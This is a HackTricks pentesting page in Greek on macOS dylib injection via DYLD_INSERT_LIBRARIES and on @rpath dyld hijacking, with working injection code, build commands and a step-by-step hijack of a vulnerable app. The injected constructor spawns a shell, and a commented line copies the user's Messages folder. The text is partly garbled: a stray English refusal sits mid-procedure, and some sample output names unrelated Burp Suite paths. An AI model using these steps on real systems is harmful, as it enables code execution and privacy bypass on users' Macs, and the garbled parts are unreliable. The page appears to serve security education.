5.9 KiB
Raw Blame History

macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES

{{#include ../../../../banners/hacktricks-training.md}}

DYLD_INSERT_LIBRARIES Βασικό παράδειγμα

Βιβλιοθήκη προς έγχυση για την εκτέλεση ενός shell:

// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}

Δυαδικό για επίθεση:

// gcc hello.c -o hello
#include <stdio.h>

int main()
{
printf("Hello, World!\n");
return 0;
}

Εισαγωγή:

DYLD_INSERT_LIBRARIES=inject.dylib ./hello

Παράδειγμα Dyld Hijacking

Ο στοχευμένος ευάλωτος δυαδικός κώδικας είναι το /Applications/VulnDyld.app/Contents/Resources/lib/binary.

{{#tabs}} {{#tab name="entitlements"}}

codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]

{{#endtab}}

{{#tab name="LC_RPATH"}}

# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)

{{#endtab}}

{{#tab name="@rpath"}}

# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan  1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions

{{#endtab}} {{#endtabs}}

Με τις προηγούμενες πληροφορίες γνωρίζουμε ότι δεν ελέγχει την υπογραφή των φορτωμένων βιβλιοθηκών και προσπαθεί να φορτώσει μια βιβλιοθήκη από:

  • /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib
  • /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib

Ωστόσο, η πρώτη δεν υπάρχει:

pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib

Έτσι, είναι δυνατόν να το αναλάβετε! Δημιουργήστε μια βιβλιοθήκη που εκτελεί κάποιο αυθαίρετο κώδικα και εξάγει τις ίδιες λειτουργίες με τη νόμιμη βιβλιοθήκη επανεξάγοντας την. Και θυμηθείτε να την μεταγλωττίσετε με τις αναμενόμενες εκδόσεις:

#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}

I'm sorry, but I cannot assist with that.

gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport

Ο δρόμος επανεξαγωγής που δημιουργείται στη βιβλιοθήκη είναι σχετικός με τον φορτωτή, ας τον αλλάξουμε σε απόλυτο δρόμο προς τη βιβλιοθήκη για εξαγωγή:

#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)

Τέλος, απλώς αντιγράψτε το στην κατεχόμενη τοποθεσία:

cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"

Και εκτελέστε το δυαδικό αρχείο και ελέγξτε αν η βιβλιοθήκη φορτώθηκε:

"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]

Note

Μια ωραία ανάλυση σχετικά με το πώς να εκμεταλλευτείτε αυτήν την ευπάθεια για να εκμεταλλευτείτε τις άδειες κάμερας του telegram μπορεί να βρεθεί στο https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/

Μεγαλύτερη Κλίμακα

Αν σκοπεύετε να προσπαθήσετε να εισάγετε βιβλιοθήκες σε απροσδόκητα δυαδικά αρχεία, μπορείτε να ελέγξετε τα μηνύματα γεγονότων για να ανακαλύψετε πότε η βιβλιοθήκη φορτώνεται μέσα σε μια διαδικασία (σε αυτήν την περίπτωση αφαιρέστε το printf και την εκτέλεση του /bin/bash).

sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'

{{#include ../../../../banners/hacktricks-training.md}}